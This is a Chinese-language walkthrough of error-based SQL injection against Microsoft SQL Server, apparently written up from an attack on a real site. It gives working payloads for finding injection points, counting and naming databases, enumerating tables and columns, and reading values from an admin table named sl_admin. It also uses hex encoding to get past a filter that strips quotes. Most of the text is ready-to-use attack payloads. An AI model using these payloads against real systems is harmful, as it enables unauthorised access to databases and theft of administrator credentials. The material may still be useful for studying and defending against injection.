mssql 报错注入
1. 原理
-
在MSSQL中,数据类型不一样(例如1=‘1’)会报错,并且报错信息会在日志信息中显示出来;日志文件直接在网页上显示
-
利用此原理,进行构造 1=‘mssql语句’,返回报错信息
2. mssql 测试实例
2.1 找注入点
- sql注入漏洞一般都在输入框,搜索框,域名地址框中
- 根据经验,如果域名中有很多编码,一般都不存在sql注入漏洞
- id=1 and 1=1;id=1 and 1=2 看web页面有无变化,有变化存在漏洞
- id=1‘’ and 1=1 --+;id=1’ and 1=2 --+ 看web页面有无变化,有变化存在漏洞
2.2 判断类型
-- 数字型
id=1 and 1=1
id=1 and 1=2
-- 字符型
id=1' and 1=1 --+
id=1' and 1=2 --+
2.3 获取信息
获取数据库的数量
(select count(*) from master..sysdatabases)>7
-- 大于6不报错,大于7报错,查询到7个数据库
获取数据库名
select substring((select db_name()),1,1)>10
-- 变成了报错注入,得到第一个字母j
-- 同理第二个字母i
-- 同理第二个字母a
-- 最终得到数据库名 jiaofan
当我用上述方式查询完成之后,意识到这是报错注入,不用逐字符获取库名。直接利用报错注入的方法
and (select db_name())=1
-- 直接就将整个库名曝出
获取表名
-- 由于是报错注入,在web页面上可以直接获取到表名
-- 经过不断的测试,在第25行,也就是not in top 24,找到了表sl_admin
-- 经过测试 xtype='U'不行,只能xtype=0x55;
推测后台防火墙将sql中的'过滤了;0x55是U的16进制编码
and 1=(select top 1 name from ST_WebCourse..sysobjects
where xtype=0x55 and name not in
(select top 24 name from ST_WebCourse..sysobjects where xtype=0x55))
获取列名
and 1=(select top 1 name from jiaofan..syscolumns
where id=(select id from jiaofan..sysobjects
where name=0x73006C005F00610064006D0069006E00)
and name not in (select top 0 name
from jiaofan..syscolumns where id=(select id
from jiaofan..sysobjects where name=0x73006C005F00610064006D0069006E00)))
获取列中的值
select top 1 u1 from sl_admin where u1 not in (select top 0 u1 from sl_admin)
select top 1 u1 from sl_admin where u1 not in (select top 0 u1 from sl_admin)